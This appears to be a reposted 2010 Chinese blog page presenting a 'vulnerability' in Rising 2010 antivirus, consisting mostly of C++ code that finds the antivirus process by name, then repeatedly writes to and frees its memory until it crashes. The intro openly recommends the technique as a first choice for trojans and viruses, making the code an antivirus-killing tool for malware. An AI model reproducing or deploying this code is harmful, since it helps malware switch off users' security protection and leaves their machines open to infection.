您的位置:首页 > 其它

瑞星2010年组合版最新漏洞

2010-03-04 05:17 253 查看
漏洞简介:向瑞星内存地址不断写入代码使其出错退出,木马病毒首选
测试代码:

DWORD GetProcessIdFromName(LPCTSTR name)

{

PROCESSENTRY32 pe;

DWORD id = 0;
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
pe.dwSize = sizeof(PROCESSENTRY32);

if( !Process32First(hSnapshot,&pe) )

return 0;
do

{

pe.dwSize = sizeof(PROCESSENTRY32);

if( Process32Next(hSnapshot,&pe)==FALSE )

break;

if(strcmp(pe.szExeFile,name) == 0)

{

id = pe.th32ProcessID;

break;

}
} while(1);
CloseHandle(hSnapshot);
return id;

}

DWORD GetProcessID(char *FileName)

{

HANDLE myhProcess;

PROCESSENTRY32 mype;

BOOL mybRet;

//进行进程快照
myhProcess=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
//TH32CS_SNAPPROCESS快照所有进程

//开始进程查找

mybRet=Process32First(myhProcess,&mype);

//循环比较,得出ProcessID

while(mybRet)

{

if(strcmp(FileName,mype.szExeFile)==0)

return mype.th32ProcessID;

else

mybRet=Process32Next(myhProcess,&mype);

}

return 0;

}

void killProcess(CString www ,LPCTSTR name,char *xyz)

{

DWORD nPid = 0;

HANDLE hProcess;

DWORD nExitCode = 0;

DWORD nAddress = 0x1000;

nPid=GetProcessIdFromName(name);

hProcess = OpenProcess (PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION, 0,nPid);

WriteProcessMemory(hProcess,(LPVOID)0x0047EB17,&nPid,1,NULL);

while ( nAddress <= 0x7FFFF000 )

{

GetExitCodeProcess(hProcess, &nExitCode);

if (nExitCode != STILL_ACTIVE)

{

break;

}

WriteProcessMemory(hProcess,(LPVOID)0x0047EB17,&nPid,1,NULL);

VirtualFreeEx(hProcess, (LPVOID)nAddress, 0, 0x8000);

nAddress += 0x1000;

}
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: